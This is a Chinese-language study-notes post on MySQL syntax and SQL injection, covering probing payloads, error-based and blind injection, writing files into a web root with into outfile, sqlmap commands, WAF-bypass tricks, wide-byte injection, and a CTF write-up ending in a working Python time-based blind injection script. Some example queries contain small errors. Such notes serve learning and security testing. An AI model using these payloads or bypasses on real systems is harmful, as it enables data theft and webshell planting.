MySQL及漏洞笔记
随着网络的发展和普及,日常生活中也出现了很多网络结构模式。
比如我们最常见的就是B/S结构和C/S结构。
C/S(Client/Server)字面意思就是 客户端/服务器 模式,我们很容易理解这是一种软件体系结构,比如WeChat,qq,手游等手机应用便是采用这种结构。
这里我们就不详细展开这两种结构了,现在通过我们的常识很容易便会发现B/S结构维护升级要比C/S结构简单,但这是为什么呢?
因为B/S结构让数据处理在服务器上完成,通常用户只需安装浏览器就可与数据库进行交互,完成一系列操作。但也会引发安全问题,这时候就要关注到我们的sql语言上了。
sql简介
SQL(Structured Query Language)是一种结构化查询语言,方便用户查询。详情可见
sql语法
所谓工欲善其事,必先利其器,
我们要先了解一下比较常见的sql语法,要注意的是sql语句不区分大小写,但数据库名表名区分。
之后我们都以MySQL的语法为例:
首先,我们先登录自己的数据库(下载安装就不展开了,新手可以用PHPstudy)
mysql -h hostname -u username -p
-h是指定登录的主机,我们在本地环境测试的时候可以忽略,
-u是指定登录的用户名,phpstudy默认用户名是root,
-p是指定登录的密码,为了安全性我们不在代码上直接输入密码,MySQL会向你询问密码,若无密码可以忽略-p。
登录到数据库后,我们先掌握最基本的对数据库的增删查改,
create database 你好xluo charset=utf8;
use 你好xluo;
select database();
create table lalala(hahaha int);
drop table lalala;
drop database 你好xluo;
show databases;
以上流程为:1.我创建了一个名为'你好xluo'的数据库(charset=utf8可省略),
2.并进入了这个数据库,
3.然后显示当前数据库,
4.创建了一个名为lalala的表,里面有一个列名为hahaha,是int型,
5.然后把这个表删了,
6.然后我觉得这个数据库名字不好听就不讲武德地删了这个数据库,
7.然后我瞧了一眼确定这个带着羞耻名字的数据库被我删掉了。
create database xluo;
use xluo;
create table users(userid int primary key,age int,sex varchar(4),phonenumber int);
desc users;
alter table users add birthday char(10);desc users;
alter table users change birthday birthday datetime not null;
alter table users modify birthday date not null;
tui,我删掉干啥,重新来一遍吧,以上流程为:
1.创建名为'xluo'的数据库,
2.进入所创建的数据库xluo,
3.创建一张新的表名为users,里面有userid,age,sex,phonenumber这几个字段名,
语句结构为create table 表名(字段名1 数据类型1 可选约束条件1,字段名2 数据类型2 可选约束条件2……)
4.查看users这张表的结构
,我们可以看到userid不能为空,这是因为我们前面设置了约束条件primary key,
PRI主键约束;UNI唯一约束;MUL可以重复。
5.向表里新增一个字段birthday,长度限制为10个字符,并看一下表的结构
,
注意char和varchar的区别,此处语句结构为alter table 表名 add 字段名 类型。
6.语句结构alert table 表名 change 原表名 新表名 新类型 新约束。
7.alter table 表名 modify 字段名 新类型 新约束。
(ps:如果要删除字段也可以alter table 表名 drop 字段名)
8.<待更新补充>
sql漏洞
现在我们知道使用sql语言对开发维护是一件很方便的事情,但是通常情况下,如果开发人员在编写代码的时候并没有考虑到各种用户行为并对交互数据或页面信息进行合法性判断,攻击者就容易用一段查询代码获得数据库信息。
可以说,代码是人编写的,那么漏洞便会一直存在,甚至很多人依赖预编译就并没有对任何东西进行过滤,这实际上是一件很危险的事情,后面笔者会详细讲到。
首先,我们先来了解最简单的sql注入,假如开发者并没有对语句进行过滤,构建类似下面的这串代码,
$id=$_GET['id']
$sql="select * from users where id =".$id
我们可以发现get方法传入了参数id,而id直接放进了数据库查询语句执行,并没有任何的过滤,那么当我们输入sql语句就可以对数据库执行查询等一系列操作。
比如首先url构造?id=-1 or 1=1 #
这是我们发现-1将返回false,但是1=1恒成立,那么sql语句也成立,于是会查询所有users。
简单来说sql漏洞有很多,接下来已经了解sql增删查改的我们来看一下基于MySQL的绕过。
基于MySQL的注入
关于MySQL注入基础
1.了解MySQL注释风格
1.#
单行注释,#后面直接加内容
2.--
单行注释,--后面必须要加空格
我们常用--+是因为字符'+'在URL编码后为空格
3./**/
多行注释,/**/中间可以跨行
2.MySQL中的内联注释:
内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些MySQL特有的语句放在 /*!...*/ 中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别、执行。
/*50001*/表示数据库版本>=5.00.01时中间的语句才会执行。
在SQL注入中,内联注释常用来绕过waf。
3.union联合查询
-
union 操作符用于拼接两个或者多select查询语句
-
union中的每个查询必须拥有相同的列数
4.order by语句
-
ORDER BY 语句用于根据指定的列对结果集进行排序。
-
ORDER BY 语句默认按照升序对记录进行排序。
5.注释在SQL注入中的应用:
select user from student where id = 1 limit 0,1; select user from student where id = 1 and 1=2 union select user() # limit 0,1;
攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注释掉的部分语句不会被执行
6.SQL注入中一些常用的MySQL函数/语句:
| 函数 / 语句 | 功能 |
|---|---|
| user() | 当前用户名 |
| database() | 当前所用数据库 |
| current_user() | 当前用户名(可用来查看权限) |
| version() | 数据库的版本 |
| @@datadir | 数据库的路径 |
| load_file() | 读文件操作 |
| Into outfile() / into dumpfile | 写文件操作 |
7.SQL注入读写文件的根本条件:
-
数据库允许导入导出(secure_file_priv)
-
当前用户用户文件操作权限(File_priv)
secure_file_prive参数的设置 含义 secure_file_prive=null 限制mysqld 不允许导入导出 secure_file_priv=/tmp/ 限制mysqld的导入导出只能发生在/tmp/目录下 secure_file_priv=' ' 不对mysqld 的导入导出做限制 secure_file_prive直接在my.ini文件里设置即可
8.load_file()读文件
9.into outfile / into dumpfile写文件
outfile与dumpfile的区别:
dumpfile适用于二进制文件,它会将目标文件吸入同一行内;
outfile则更适用于文本文件
条件:
1.对web目录具有读写权限
2.知道文件绝对路径
3.能够使用联合查询(sql注入时)
命令:
select load_file(‘d:/phpstudy/www/anyun.php’);
select ‘anyun’ into outfile ‘d:/phpstudy/www/anyun.php’;
10.字符串连接函数
concat(str1,str2..)函数直接连接
group_concat(str1,str2..)函数使用逗号做为分隔符
concat_ws(sep,str1,str2..)函数使用第一个参数做为分隔符
11.sql本质
把用户输入的数据当作代码执行。
<?php
$id = $_GET['id'];
mysql_query($query);
$query = "select * from information where id = "$id" limit 0,1";
变量id的值由用户提交,在正常情况下,假如用户输入的是1,那么SQL语句会执行:
select * from information where id = 1 limit 0,1
但是假如用户输入一段有SQL语义的语句,比如:
1 or 1 =1 %23
那么,SQL语句在实际的执行时就会如下:
select * from information where id = 1 or 1 = 1 %23
条件一:用户能够控制变量id;条件二:原本要执行的代码,拼接了用户的输入。
12.关于information_schema

13.基础语法
查数据库:select database();
查表名:select table_name from information_schema.schemata where table_schema = database();
查列名:select column_name from information_schema.columns where table_name = ‘表名’;
查字段:select 列名 from 表名
14.基础闭合字符判断
构造payload:
1.
id = 1’ 异常
id = 1 and 1=1 -- + 正确
id = 1 and 1=2 -- + 错误
结论:极有可能存在数字型SQL注入(ps:单引号有个特殊的作用:命令分隔符)
2.
id = 1’ 异常
id = 1’ and 1=1 -- + 正确
id = 1’ and 1=2 -- + 错误
结论:极有可能存在单引号字符型SQL注入
3.
id = 1’ 异常
id = 1” and 1=1 -- + 正确
id = 1” and 1=2 -- + 错误
结论:极有可能存在双引号字符型SQL注入
4.
id = 1’ 异常
id = 1) and 1 =1 -- + 正确
id = 1) and 1=2 -- + 错误
结论:极有可能存在括号数字型SQL注入
15.基础列数判断
payload
id = 1 order by 4 -- + 正常
Id = 1 order by 5 -- + 异常
结论:当前语句查询了四列
16.求显示位
比如日常中我们查询四列,但只显示了一列,这时候就需要判断显示的是哪一列,然后在查询的时候在显示的那一列插入我们的payload。
简而言之,在回显位置插入payload。
例:http://localhost/index.php?id=-1 and union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='表名'
17.报错注入updatexml函数
例:http://localhost/index.php?id=1' and updatexml(1,concat(0x23,database()),1)#
在我们注入时,常常加入0x23或0x7e,0x23就是#,0x7e就是*
18.基于布尔的盲注
特点:页面存在异常,但是无回显或者报错信息。只能利用正确和错误两种状态来判断payload是否正确
相关函数:
count() 计算结果集的行数。
length(str) 返回指定字符串的长度。如果放表达式,需要用括号括起来
substr(str,pos,len)/substring(str,pos,len) 返回截取的子字符串。
ascii(str) 返回指定字符串最左侧字符的ascii值。
例:
http://localhost/index.php?id=1' and length(database())=8 %23
http://localhost/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema='表名') = 4 %23
19.基于时间的盲注
特点:页面不存在异常,也无回显和报错。只能利用条件语句结合执行的时间长短来判断payload是否正确
相关函数:
if(exp1,exp2,exp3) 如果exp是true,那么执行exp2,否则执行exp3
sleep(n),让程序暂停n秒
核心思想:例如if(exp1,exp2,sleep(3)),如果payload正确则立即执行exp2,否则暂停3秒。以此来判断payload是否正确。
20.SQL注入常用工具
sqlmap、pangolin、啊D、havij(这里还是建议用kali自带的sqlmap,比较有灵魂)
sqlmap常用指令:
sqlmap -h:显示基本帮助信息,sqlmap -hh:显示高级帮助信息
检测是否有sql注入:sqlmap -u http://localhost/index.php?id=1

查库:sqlmap -u http://localhost/index.php?id=1 --current-db
查表:sqlmap -u http://localhost/index.php?id=1 -D 库名 --tables
查列:sqlmap -u http://localhost/index.php?id=1 -D 库名 -T 表名 -columns
查字段内容:sqlmap -u http://localhost/index.php?id=1 -D 库名 -T 表名 -C 列名 --dump
扩展识别广度和深度:SqlMap --level 增加测试级别
sqlmap -r filename(filename是网站请求数据,可用抓包工具获取)
可以利用工具提高识别效率:BurpSuite等抓包工具的使用
插件的使用如BurpSuite的sqlmap插件
可以在参数后键入"*"来确定想要测试的参数
MySQL注入常用函数
| 函数名称 | 函数功能 |
|---|---|
| system_user() | 系统用户名 |
| user() | 用户名 |
| current_user() | 当前用户名 |
| session_user() | 连接数据库的用户名 |
| database() | 数据库名 |
| version() | 数据库版本 |
| @@datadir | 数据库路径 |
| @@basedir | 数据库安装路径 |
| @@version_compile_os | 操作系统 |
| count() | 返回执行结果数量········ |
| concat() | 没有分隔符的连接字符串 |
| concat_ws() | 含有分隔符的连接字符串 |
| group_concat | 连接一个组的所有字符串,并以逗号分隔每一条数据 |
| load_file() | 读取本地文件 |
| into outfile | 写文件 |
| ascii() | 字符串的ASCII代码值 |
| ord() | 返回字符串第一个字符的ACSCII值 |
| mid() | 返回一个字符串的一部分 |
| substr() | 返回一个字符串的一部分 |
| LOCATE(substr,str), LOCATE(substr,str,pos) | 第一种语法返回字串符substr在字符串str第一个出现的位置。第二个语法返回串substr在字符串str,位置pos处开始第一次出现的位置。返回值为0,substr不在str |
| length() | 返回字符串的长度 |
| left() | 返回字符串的最左边几个字符 |
| right() | 返回字符串的最右边几个字符 |
| floor() | 返回小于或等于x的最大整数 |
| rand() | 返回0和1之间的随机数 |
| extractvalue() | 第一个参数:XML document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath string(Xpath格式的字符串) 作用:从目标XML中返回包含所查询值的字符串 |
| updatexml() | 第一个参数:XML document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath string(Xpath格式的字符串) 第三个参数:new value String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 |
| sleep() | 让此语句运行N秒钟 |
| if() | SELECT IF(1>2.2.3) -> 3 类似三目运算 |
| char() | 返回整数ASCII代码字符组成的字符串 |
| strcmp() | 比较字符串内容 |
| ifnull() | 假如参数1不为NUL,则返回值为参数1,否则其返回值为参数2 |
| exp() | 返回e的x次方 |
| extractvalue() | 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 第二个参数:XPath_String (Xpath 格式的字符串) 作用:从目标 XML 中返回包含所查询值的字符串 |
| updatexml() | 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 第二个参数:XPath_String (Xpath 格式的字符串) 第三个参数:new_value,String 格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值 |
sql注入绕过
sql注入最常见的是规则层面的绕过,也可尝试协议层面绕过waf。
1.空白符绕过
在我们进行sql注入测试的时候,最常见的就是过滤了空格,当然我们也有很多办法绕过空格。
(1)MySQL空白符代替空格:%09,%0A,%0B,%0D,%20,%0C,%A0,/**/
(2)正则的空白符则是前面:%09,%0A,%0B,%0D,%20
绕过时可以使用URL双重编码。
2.内联注释绕过
在MySQL中如果采用诸如/!select/内联注释的方法,是可以成功执行的。
3.注释符绕过
/**/
/*aaaa%01bbs*/ 中间尝试加入特殊字符
/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/ 测试注释长度,可以填充几百万个字符造成waf内存绕过,属于资源限制角度绕过waf。
4.函数分割
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
5.浮点数词法解析
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
6.利用error-based进行SQL注入:error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
7.MySQL特殊语法
select{x table_name}from{x information_schema.tables};
8.宽字节注入
既可以称为一种注入类型,也可以称为一种waf的绕过姿势
相关函数:addslashes()函数:函数会在在以下字符之前添加反斜杠。 单引号(’)双引号(")反斜杠(\)
使用条件:数据库采用gbk字符集、网站将引号转义为反斜杠加引号时
原因:gbk双字节编码中用两个字节来代表一个汉字,首字节范围:0x81~0xFE, 尾字节范围:0x40~0xFE(除0x7F), 反斜杠(\)对应编码为0x5c
注入原理:许多网站为了防止单引号闭合,会将输入的'进行转义变成\',例如我们输入
?id=%df'会变成?id=%df\',其中反斜杠( \ )的十六进制是%5C,那么我们输入的?id=%df'就等于?id=%df%5c%27,因为使用了gbk编码,会默认%df%5c是一个宽字符,会被编码成中文的縗,这样就成功的写入了单引号,就可以同常规方法一样注入了。
例:http://localhost/index.php?id=%df%27
9.
WAF绕过
常见绕过:
1.大小写混合绕过,如UnIon SeLecT
2.双写绕过,如服务器会将union替换为空字符,那么我们输入ununionion之后,中间的union会被替换,导致把最外面的un和ion拼起来成为union
3.编码,如ascii编码,十六进制编码,Unicode编码
4.注释,如/**/,/*!*/,/*!12345*/,#,-- -等
5.等价函数或特殊符号,如等号等价于like,逗号等价于limit 1 offset 0
6.特殊符号,如科学计数法and 1e0=1e0、空白字符 %0a,%a0,%0b,%20等
7.组合绕过,如id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3
白盒审计代码绕过
1.审计代码
2.寻找过滤
3.寻找有无逻辑漏洞
4.尝试绕过
ctf实战
1.
2020.12 ROARCTF之PostgreSQL盲注
ps:Postgresql的语法和MySQL有所不同,但在本道题目并不会产生差异
解完题目后我们知道源代码是这样的:
SELECT * FROM users WHERE username='${username}' AND password='${password}' //flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}
我们通过黑盒fuzz可以发现是时间盲注且存在一些过滤
exp:
import requests
import time
def timeInjection():
URL = "http://139.129.98.9:30005/"
result = ""
payload = "1'||(case/**/when/**/(coalesce(ascii(substr((select/**/password),{},1)),0)={})/**/then/**/pg_sleep(2)/**/else/**/pg_sleep(0)/**/end)--"
for i in range(1,100):
for j in range(32,128):
tmp_payload = payload.format(i,j)
params = {
'username':"admin",
'password':tmp_payload
}
start_time = time.time()
requests.post(url = URL, data=params)
if time.time() - start_time > 2:
result += chr(j)
print(result)
print(time.time() - start_time)
break
else:
pass
timeInjection()
2.
待续--
reference:
1.https://www.bilibili.com/
2.

浙公网安备 33010602011771号